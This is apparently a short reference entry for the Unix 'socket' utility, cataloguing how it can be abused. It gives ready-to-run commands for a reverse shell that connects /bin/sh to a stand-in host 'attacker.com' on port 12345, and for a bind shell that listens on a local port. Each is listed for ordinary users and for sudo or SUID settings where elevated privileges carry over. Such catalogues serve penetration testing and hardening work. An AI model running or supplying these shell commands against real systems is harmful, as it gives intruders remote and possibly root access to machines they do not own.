socket
Reverse shell
This executable can send back a reverse system shell to a listening attacker.
- This function can be performed by any unprivileged user.
socket -qvp '/bin/sh -i' attacker.com 12345This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.socket -qvp '/bin/sh -i' attacker.com 12345This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.socket -qvp '/bin/sh -i' attacker.com 12345
Bind shell
This executable can bind a system shell to a local port waiting for an attacker to connect.
- This function can be performed by any unprivileged user.
socket -svp '/bin/sh -i' 12345This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.socket -svp '/bin/sh -i' 12345This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.socket -svp '/bin/sh -i' 12345